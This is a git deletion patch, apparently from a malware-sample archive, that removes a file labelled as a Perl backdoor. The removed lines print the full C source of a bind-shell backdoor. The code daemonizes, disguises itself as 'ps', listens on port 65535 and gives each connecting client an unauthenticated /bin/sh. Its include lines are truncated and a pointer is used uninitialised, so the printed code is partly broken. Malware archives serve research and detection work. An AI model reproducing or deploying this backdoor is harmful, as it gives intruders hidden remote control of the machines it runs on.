From b5b30bbe28181498e8cf77d5100e6b5babdd5621 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Sat, 14 Nov 2020 01:13:01 -0600 Subject: [PATCH] Delete Backdoor.Perl.Whoredoor.08 na --- Perl/Backdoor.Perl.Whoredoor.08 | 73 --------------------------------- 1 file changed, 73 deletions(-) delete mode 100644 Perl/Backdoor.Perl.Whoredoor.08 diff --git a/Perl/Backdoor.Perl.Whoredoor.08 b/Perl/Backdoor.Perl.Whoredoor.08 deleted file mode 100644 index 84e98399..00000000 --- a/Perl/Backdoor.Perl.Whoredoor.08 +++ /dev/null @@ -1,73 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include - -void mk_daemon(); - -int main(int argc, char **argv) -{ -int lfd,cfd; -socklen_t len; -struct sockaddr_in cli,serv; -pid_t pid; -char **sh; - -sh[0]="/bin/sh"; -sh[1]=NULL; - -mk_daemon(); -strncpy(argv[0],"ps",sizeof(argv[0])); -lfd=socket(AF_INET,SOCK_STREAM,0); -bzero(&serv,sizeof(serv)); -serv.sin_family=AF_INET; -serv.sin_addr.s_addr=htonl(INADDR_ANY); -serv.sin_port=htons(65535); -bind(lfd,(struct sockaddr *)&serv,sizeof(serv)); -listen(lfd,5); - -while(1) -{ -len=sizeof(cli); -cfd=accept(lfd,(struct sockaddr *)&cli,&len); - if(!(pid=fork())) - { - dup2(cfd,0); - dup2(cfd,1); - dup2(cfd,2); - execve(sh[0],sh,NULL); - close(cfd); - exit(0); - } -close(cfd); -} -return 0; -} - -void mk_daemon() -{ -/* yes I did get this out of UNP */ -int x; -pid_t pid; - if((pid=fork()) !=0) - { - exit(-1); - } -setsid(); -signal(SIGHUP,SIG_IGN); -signal(SIGINT,SIG_IGN); - - if((pid=fork()) !=0) - { - exit(-1); - } -chdir("/"); -umask(0); - for(x=0;x<=64;x++) - { - close(x); - } -} \ No newline at end of file